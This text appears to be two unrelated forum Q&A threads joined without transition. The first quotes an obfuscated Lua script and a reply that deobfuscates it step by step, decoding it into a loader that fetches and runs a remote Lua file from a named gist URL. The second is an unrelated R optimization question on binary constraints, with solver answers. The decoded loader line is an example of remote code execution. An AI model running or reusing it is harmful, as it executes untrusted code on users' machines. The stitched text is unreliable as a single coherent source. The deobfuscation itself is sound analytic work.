How can I decrypt this new Lua encryption method?
key=[[BREW STORE]];dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx='om jangan decrypt aku :((';awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii='Obfuscator Ini Milik ZiGB';jknofzqxfwhpgpwunwnntdqilsqedpbwajyxnzgqchnbspvvehqoyvqdsavrovwklpgfbzpyiorpggadtdjbworigkbdnkbsspfsobalqavigtcfwehcreyeftezpkdi='Kamu Nyari Load?';rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu='Saya Tak Ragu Ingin Nembak Gay People';yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn="Soeharto is first indonesian president. Jokowi is seventh indonesian's president, Itadori Yuuji is one of main character in Jujutsu Kaisen Anime, Kento Nanami is Side Character On Jujutsu Kaisen Anime. Lava is 1 of the most dangerous liquid in the world (cap)";mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju={ 1,160,3,187,236,277,257,244,160,185,307,173,170,186,170,164,168,168,280,246,160,160,160,160,160,160,160,160,160,160,160,200,279,224,161,392,224,227,218,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,271,258,262,277,275,259,257,276,261,260,252,261,270,259,206,268,277,257,293,296,160,160,215,161,337,171,160,160,160,299,160,160,161,171,161,160,162,174,161,162,163,299,161,160,164,302,161,163,165,179,162,160,320,242,160,160,160,289,290,213,288,161,163,215,288,289,163,208,288,161,292,209,288,289,292,179,288,161,293,216,288,289,165,210,288,161,166,216,288,289,166,218,288,161,167,210,288,289,167,217,288,161,296,217,288,289,296,175,288,161,297,179,288,289,297,176,288,161,170,195,288,289,170,194,288,161,299,201,288,289,299,176,288,161,300,181,288,289,300,175,288,161,301,176,288,289,301,211,288,161,302,217,288,289,302,217,288,161,303,215,288,289,175,217,288,161,304,188,288,289,176,183,288,161,177,183,288,289,177,211,288,161,178,212,288,289,178,217,288,161,307,217,288,289,307,182,288,161,180,211,288,289,180,212,288,161,309,217,288,289,309,211,288,161,182,218,288,289,310,208,288,161,183,218,288,289,183,217,288,161,184,210,288,289,312,216,288,161,185,209,288,289,185,215,288,161,314,214,288,289,314,217,288,161,187,210,288,238,162,210,160,289,290,214,288,161,291,217,288,289,291,182,288,161,164,209,288,289,164,215,288,161,165,214,288,289,165,183,288,161,294,208,288,289,294,216,288,161,167,210,288,289,167,219,288,161,296,209,288,289,168,210,288,161,297,216,288,289,169,217,288,161,170,183,288,289,170,210,288,161,171,188,288,289,171,209,288,161,300,186,288,289,172,208,288,161,301,209,288,289,301,187,288,161,302,186,288,289,174,208,288,161,303,209,288,289,175,184,288,161,304,185,288,289,304,187,288,161,177,208,288,289,177,185,288,161,306,208,288,289,178,210,288,161,307,186,288,289,179,188,288,161,180,208,288,289,180,208,288,161,309,208,288,289,181,184,288,161,310,210,288,289,182,185,288,161,311,209,288,289,183,186,288,161,184,210,288,289,184,208,288,161,185,210,288,289,185,209,288,161,186,188,288,289,186,183,288,161,315,216,288,238,162,210,210,289,162,208,288,161,163,219,288,289,163,183,288,161,164,210,288,289,292,184,288,161,293,183,288,289,165,184,288,161,294,185,288,289,294,187,288,161,295,186,288,289,295,187,288,161,168,187,288,289,168,186,288,161,169,185,288,289,297,185,288,161,170,186,288,289,298,209,288,161,171,185,288,289,299,185,288,161,172,186,288,289,300,186,288,161,301,185,288,289,301,184,288,161,302,210,288,289,174,185,288,161,303,185,288,289,175,186,288,161,304,209,288,289,176,187,288,161,305,184,288,289,177,209,288,161,306,210,288,289,306,184,288,161,307,185,288,289,307,185,288,161,308,187,288,289,308,183,288,161,309,184,288,289,181,188,288,161,310,185,288,289,182,187,288,161,311,184,288,289,183,185,288,161,184,183,288,289,312,193,288,161,313,194,288,289,313,208,288,161,314,216,288,289,186,210,288,161,187,219,288,238,162,210,260,289,290,182,288,161,291,213,288,289,163,218,288,161,164,208,288,289,292,176,288,161,165,180,288,289,165,180,288,161,294,175,288,289,294,179,288,161,167,180,288,238,162,170,310,356,161,162,160,228,161,160,160,356,160,160,160,228,160,160,161,231,160,161,160,294,164,294,272,259,257,268,268,164,293,268,271,257,260,164,295,275,276,274,265,270,263,164,293,259,264,257,274,164,294,276,257,258,268,261,164,295,277,270,272,257,259,267,289,160,160,160,288,161,337,162,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,288,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,161,289,409,295,288,289,293,255,229,238,246};local nau = 'load'; function krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(...) local nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm='';for hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb=1, #mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju do if hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb>3 then nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm=nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm.._ENV['\115\116\114\105\110\103']['\99\104\97\114']((mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb]-mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[2]));end end;local tolan = 'loadstring';_ENV[_ENV['\115\116\114\105\110\103']['\99\104\97\114'](awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii:lower():sub(18,18):byte(),dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx:lower():sub(1,1):byte(),rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu:lower():sub(-9,-9):byte(),yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn:lower():sub(21,21):byte())](nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm)(); end;krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju);
I tried many methods. But I don't think I'm experienced enough. The result was negative.
Add proper linebreaks
Replace insane variable names with shorter ones
Unescape things like '\115\116\114\105\110\103' into 'string'
Keep going until you realize the thing that starts with _ENV[_ENV[ ends up becoming just load (by the way, nau and tolan are unused decoys)
Notice that it's a very simple decryption function that operates on the giant table of numbers and then loads the result
Modify the decryption function to print the result instead of loading it
Notice the result of doing so is Lua 5.4 bytecode
Run unluac on said bytecode
If you're following along, you'll have gotten this out of unluac (newlines elided for brevity):
pcall(load(string.char(table.unpack({ 108, 111, 97, 100, 40, 114, 101, 113, 117, 101, 115, 116, 32, 40, 34, 71, 69, 84, 34, 44, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 98, 114, 101, 119, 100, 101, 114, 115, 47, 101, 57, 99, 54, 97, 100, 56, 54, 97, 100, 49, 52, 56, 97, 51, 98, 101, 54, 57, 97, 97, 98, 49, 102, 51, 100, 53, 101, 97, 101, 99, 57, 47, 114, 97, 119, 47, 101, 50, 48, 49, 52, 56, 54, 56, 55, 53, 51, 52, 53, 100, 51, 52, 53, 54, 52, 50, 102, 51, 52, 53, 100, 55, 50, 99, 102, 50, 52, 52, 56, 48, 50, 57, 52, 55, 50, 51, 47, 68, 70, 98, 114, 101, 119, 46, 108, 117, 97, 34, 41, 41, 32, 40, 41}))))
Now reverse the string.char and table.unpack to see what it's really doing:
load(request ("GET", "https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua")) ()
So https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua (prettier at https://gist.github.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9#file-dfbrew-lua) has what it's really doing, and it's finally not obfuscated at all. (The sha256 was 7de86710d2e66b6ef3b7e1a772d8d80c550b7a309925320e3296ffd333988e6d at the time of writing this answer; some archives/mirrors: 1 2 3 4)
And if you're wondering how this obfuscation happened, this string is present in the bytecode, which should give you a hint: C:\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\obfuscated\enc.lua
I am trying to get Rsolnp to constrain my parameters to binary integers or to decimals that are nearly the same (.999 is close enough to 1 for example).
I have three vectors of equal length (52), each of which will get multiplied by my binary parameter vector in my objective function.
library(Rsolnp)
a <- c(251, 179, 215, 251, 63, 45, 54, 63, 47, 34, 40, 47, 141, 101, 121, 141, 47, 34, 40, 47, 94, 67, 81, 94, 47, 34, 40, 47, 157, 108, 133, 157, 126, 85, 106, 126, 126, 85, 106, 126, 110, 74, 92, 110, 110, 74, 92, 110, 63, 40, 52, 63)
b <- c(179, 251, 215, 0, 45, 63, 54, 0, 34, 47, 40, 0, 101, 141, 121, 0, 34, 47, 40, 0, 67, 94, 81, 0, 34, 47, 40, 0, 108, 157, 133, 0, 85, 126, 106, 0, 85, 126, 106, 0, 74, 110, 92, 0, 74, 110, 92, 0, 40, 63, 52, 0)
c <- c(179, 179, 118, 179, 45, 45, 30, 45, 34, 34, 22, 34, 101, 101, 67, 101, 34, 34, 22, 34, 67, 67, 44, 67, 34, 34, 22, 34, 108, 108, 71, 108, 85, 85, 56, 85, 85, 85, 56, 85, 74, 74, 49, 74, 74, 74, 49, 74, 40, 40, 27, 40)
x is my parameter vector and below if my objective function.
objective_function = function(x){
-(1166 * sum(x[1:52] * a) / 2000) *
(((sum(x[1:52] * b)) / 2100) + .05) *
(((sum(x[1:52] * c))/1500) + 1.5)
}
I essentially want 1 paramater in each group of 4 equal to 1 and the rest 0 and I'm not sure how to create the correct constraints for this but I believe I need to use these sum constraints in combination with another type of constraint as well. Here are my constraints:
eqn1=function(x){
z1=sum(x[1:4])
z2=sum(x[5:8])
z3=sum(x[9:12])
z4=sum(x[13:16])
z5=sum(x[17:20])
z6=sum(x[21:24])
z7=sum(x[25:28])
z8=sum(x[29:32])
z9=sum(x[33:36])
z10=sum(x[37:40])
z11=sum(x[41:44])
z12=sum(x[45:48])
z13=sum(x[49:52])
return(c(z1,z2,z3,z4,z5,z6,z7,z8,z9,z10,z11,z12,z13))
}
And finally, here is my function call:
opti<-solnp(pars=rep(1,52), fun = objective_function, eqfun = eqn1, eqB = c(1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1), LB=rep(0,52))
Calling opti$pars returns my solution vector:
[1] 7.199319e-01 2.800680e-01 6.015388e-08 4.886578e-10 5.540961e-01 4.459036e-01 2.906853e-07 4.635970e-08 5.389325e-01
[10] 4.610672e-01 2.979195e-07 3.651954e-08 6.228346e-01 3.771652e-01 1.980380e-07 3.348488e-09 5.389318e-01 4.610679e-01
[19] 2.979195e-07 3.651954e-08 5.820231e-01 4.179766e-01 2.099869e-07 2.624076e-08 5.389317e-01 4.610680e-01 2.979195e-07
[28] 3.651954e-08 6.499878e-01 3.500120e-01 1.959133e-07 1.059012e-08 6.249098e-01 3.750900e-01 2.588037e-07 1.752927e-08
[37] 6.249106e-01 3.750892e-01 2.588037e-07 1.752927e-08 6.095743e-01 3.904254e-01 2.741968e-07 2.233806e-08 6.095743e-01
[46] 3.904254e-01 2.741968e-07 2.233806e-08 5.679608e-01 4.320385e-01 6.821224e-07 3.997882e-08
As one can see the weight is getting split between multiple variables in each group of 4 instead of being forced onto just 1 with the rest being 0.
If this is not possible with this package could someone show me how to convert my objective function to work with other optimization packages? From what I have seen, they require the objective function to be converted to a vector of coefficients. Any help is appreciated. Thanks!
I tried with a few solvers. With MINLP solvers Couenne and Baron we can solve this directly. With Gurobi we need to decompose the objective into two quadratic parts. All these solvers give:
---- 119 VARIABLE x.L
i1 1.000, i5 1.000, i9 1.000, i14 1.000, i17 1.000, i21 1.000, i25 1.000, i29 1.000
i34 1.000, i38 1.000, i41 1.000, i46 1.000, i49 1.000
---- 119 VARIABLE z.L = -889.346 obj
Zeroes are not printed here.
I used GAMS (commercial) but if you want to use free tools you can use Pyomo(Python) + Couenne. I am not sure about MINLP solvers for R, but Gurobi can be used from R.
Note that the group constraint is simply:
groups(g).. sum(group(g,i),x(i)) =e= 1;
where g are the groups and group(g,i) is a 2d set with the mapping between groups and items.
For Gurobi you need to do something like (in pseudo code):
z1 = 1166 * sum(i,x(i)*a(i)) / 2000 (linear)
z2 = ((sum(i, x(i)*b(i))) / 2100) + .05 (linear)
z3 = ((sum(i, x(i)*c(i)))/1500) + 1.5 (linear)
z23 = z2*z3 (non-convex quadratic)
obj = -z1*z23 (non-convex quadratic)
and tell Gurobi to use the nonconvex MIQCP solver.
Sorry, no R code for this. But it may give you something to think about.
within CPLEX you may try mathematical programming as Paul wrote, but you may also use Constraint Programming.
In OPL (CPLEX modeling language)
using CP;
execute
{
cp.param.timelimit=5; // time limit 5 seconds
}
int n=52;
range r=1..n;
int a[r]=[251, 179, 215, 251, 63, 45, 54, 63, 47, 34, 40, 47, 141, 101, 121, 141, 47, 34, 40, 47, 94, 67,
81, 94, 47, 34, 40, 47, 157, 108, 133, 157, 126, 85, 106, 126, 126,
85, 106, 126, 110, 74, 92, 110, 110, 74, 92, 110, 63, 40, 52, 63];
int b[r]=[179, 251, 215, 0, 45, 63, 54, 0, 34, 47, 40, 0, 101, 141, 121, 0,
34, 47, 40, 0, 67, 94, 81, 0, 34, 47, 40, 0, 108, 157, 133, 0, 85, 126, 106, 0, 85,
126, 106, 0, 74, 110, 92, 0, 74, 110, 92, 0, 40, 63, 52, 0];
int c[r]=[179, 179, 118, 179, 45, 45, 30, 45, 34, 34, 22, 34, 101, 101, 67, 101,
34, 34, 22, 34, 67, 67, 44, 67, 34, 34, 22, 34, 108, 108, 71, 108, 85, 85, 56, 85,
85, 85, 56, 85, 74, 74, 49, 74, 74, 74, 49, 74, 40, 40, 27, 40];
// decision variable
dvar boolean x[r];
// objective
dexpr float obj=
-(1166 * sum(i in r) (x[i]*a[i]) / 2000) *
(((sum(i in r) (x[i]* b[i])) / 2100) + .05) *
(((sum(i in r) (x[i]*c[i]))/1500) + 1.5);
minimize obj;
subject to
{
// one and only one out of 4 is true
forall(i in 1..n div 4) count(all(j in 1+(i-1)*4..4+(i-1)*4)x[j],1)==1;
}
gives
// solution with objective -889.3463
x = [1 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 1
0 0 0 0 1 0 0 1 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 1 0 0 0 1 0 0 0 1 0
0 0];
within 5 seconds
NB: You could call OPL CPLEX from R or rely on any other CPLEX API
And in python you can write the same
from docplex.cp.model import CpoModel
n=52
r=range(0,n)
a =[251, 179, 215, 251, 63, 45, 54, 63, 47, 34, 40, 47, 141, 101, 121, 141, 47, 34, 40, 47, 94, 67, 81, 94, 47, 34, 40, 47, 157, 108, 133, 157, 126, 85, 106, 126, 126, 85, 106, 126, 110, 74, 92, 110, 110, 74, 92, 110, 63, 40, 52, 63]
b =[179, 251, 215, 0, 45, 63, 54, 0, 34, 47, 40, 0, 101, 141, 121, 0, 34, 47, 40, 0, 67, 94, 81, 0, 34, 47, 40, 0, 108, 157, 133, 0, 85, 126, 106, 0, 85, 126, 106, 0, 74, 110, 92, 0, 74, 110, 92, 0, 40, 63, 52, 0]
c =[179, 179, 118, 179, 45, 45, 30, 45, 34, 34, 22, 34, 101, 101, 67, 101, 34, 34, 22, 34, 67, 67, 44, 67, 34, 34, 22, 34, 108, 108, 71, 108, 85, 85, 56, 85, 85, 85, 56, 85, 74, 74, 49, 74, 74, 74, 49, 74, 40, 40, 27, 40]
mdl = CpoModel(name='x')
#decision variables
mdl.x = {i: mdl.integer_var(0,n,name="x"+str(i+1)) for i in r}
mdl.minimize(-1166 * sum(mdl.x[i]*a[i] / 2000 for i in r) \
*((sum(mdl.x[i]* b[i] / 2100 for i in r) +0.05)) \
*((sum(mdl.x[i]*c[i]/1500 for i in r) +1.5)) )
for i in range(0,n // 4):
mdl.add(1==sum( mdl.x[j] for j in range(i*4+0,i*4+4)))
msol=mdl.solve(TimeLimit=5)
# Dislay solution
for i in r:
if (msol[mdl.x[i]]==1):
print(i+1," ")
and that gives
! Best objective : -889.3464
1
5
9
13
17
22
25
30
34
38
41
45
49
I set up an R notebook to solve (or try to solve) the problem as a mixed integer linear program, using CPLEX as the MIP solver and the Rcplex package as the interface to it. The results were unspectacular. After five minutes of grinding, CPLEX had a solution somewhat inferior to what Erwin got (-886.8748 v. his -889.346) with a gap over 146% (which, given Erwin's result, is mostly just the upper bound converging very slowly). I'm happy to share the notebook, which shows the linearization, but to use it you would need to have CPLEX installed.
Update: I have a second notebook, using the GA genetic algorithm package, that consistently gets close to Erwin's solution (and occasionally hits it) in under five seconds. The results are random, so rerunning may do better (or worse), and there is no proof of optimality.